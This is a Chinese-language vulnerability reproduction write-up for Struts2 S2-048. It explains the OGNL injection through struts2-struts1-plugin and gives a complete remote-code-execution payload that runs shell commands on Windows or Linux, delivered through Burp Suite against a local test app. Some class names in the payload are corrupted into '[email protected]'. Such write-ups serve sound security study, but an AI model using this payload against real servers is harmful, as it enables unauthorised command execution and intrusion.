漏洞原理:

这个漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用。

而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同事这个 getText() 的 参数输入点,又可以被用户直接进行控制,用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击。

漏洞POC:

调用CMD命令的代码,首先判断操作系统,win下调用cmd,linux下调用bash。

%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}

漏洞原理:

action中的name表示前台提交的地址,class表示这个action的类路径,method表示请求要调用什么方法去进行处理,可有可无,没有的话,action要写execute这个方法,有的话,自己给方法的名字。

漏洞复现:

第一步:首先使用burpsuite截断“http://127.0.0.1:8080/struts2-showcase/integration/editGangster.action”访问; 

Struts2 S2-048漏洞复现

(2)第二步:将当前截断数据包发送到repeater模块,修改content-type字段为攻击payload; 

Struts2 S2-048漏洞复现

成功执行

Struts2 S2-048漏洞复现

相关文章: